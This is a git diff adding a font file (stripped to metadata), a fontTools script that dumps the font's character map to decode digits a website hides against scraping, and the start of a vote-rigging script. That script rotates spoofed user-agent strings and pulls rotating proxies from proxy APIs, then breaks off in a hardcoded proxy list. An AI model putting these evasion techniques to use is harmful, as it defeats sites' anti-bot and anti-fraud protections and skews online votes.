+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/fuck/tyc.py b/fuck/tyc.py new file mode 100644 index 0000000..dff83f6 --- /dev/null +++ b/fuck/tyc.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: tyc.py +@time: 2018-09-20 14:18 +""" + + +from fontTools.ttLib import TTFont +font1 = TTFont('/Users/zhanghe/code/bearing_project/tyc-num.woff') +font1.saveXML('./tyc-num.xml') + +cmap=font1['cmap'] +cdict=cmap.getBestCmap() +# acs=ord('3') +# print (acs) +print(cdict) diff --git a/fuck/vote.py b/fuck/vote.py new file mode 100644 index 0000000..e22c558 --- /dev/null +++ b/fuck/vote.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: vote.py +@time: 2018-03-29 11:00 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import json +import random + +import requests +from requests.exceptions import ConnectTimeout, ReadTimeout, ConnectionError + + +REQUESTS_TIME_OUT = (5, 5) + + +user_agent_list = [ + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0', + 'Mozilla/5.0 (iPhone 84; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.8.0 Mobile/14G60 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; Android 7.0; STF-AL10 Build/HUAWEISTF-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043508 Safari/537.36 V1_AND_SQ_7.2.0_730_YYB_D QQ/7.2.0.3270 NetType/4G WebP/0.3.0 Pixel/1080', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en', + 'Mozilla/5.0 (Linux; Android 5.1.1; vivo Xplay5A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1.1)', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-cn; STF-AL00 Build/HUAWEISTF-AL00) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 Chrome/37.0.0.0 MQQBrowser/7.9 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 6.0; LEX626 Build/HEXCNFN5902606111S) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/35.0.1916.138 Mobile Safari/537.36 T7/7.4 baiduboxapp/8.3.1 (Baidu; P1 6.0)', + 'Mozilla/5.0 (iPhone 92; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.7.2 Mobile/14F89 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; ZUK Z2121 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.8.952 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Mobile/15A372 MicroMessenger/6.5.17 NetType/WIFI Language/zh_HK', + 'Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; SM-C7000 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.2.948 Mobile Safari/537.36', + 'MQQBrowser/5.3/Mozilla/5.0 (Linux; Android 6.0; TCL 580 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Mobile/14C92 MicroMessenger/6.5.16 NetType/WIFI Language/zh_CN', + 'Mozilla/5.0 (Linux; U; Android 5.1.1; zh-cn; MI 4S Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.1.3', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; SM-G9550 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.7.0.953 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 5.1; m3 note Build/LMY47I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1)', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36', + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)', + 'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)', + 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)', + 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)', + 'Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0', + 'Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5', + 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20', + 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52', +] + + +def get_proxy_list_nghuyong(): + url = 'http://proxy.nghuyong.top/?country=China&type=http' + return [i['ip_and_port'] for i in requests.get(url).json().get('data', [])] + + +def get_proxy_list_kuaidaili(): + url = 'http://ent.kuaidaili.com/api/getproxy/?orderid=922229983862136&num=100&b_pcchrome=1&b_pcie=1&b_pcff=1&b_android=1&b_iphone=1&protocol=1&method=2&an_tr=1&an_an=1&an_ha=1&sp1=1&sp2=1&quality=2&format=json&sep=1' + result = requests.get(url).json() + if result['code'] != 0: + print(result['msg']) + return [] + return result['data']['proxy_list'] + + +proxy_list = [ + '110.76.185.162:16818', + '43.226.165.51:16818', + '182.61.35.179:16818', + 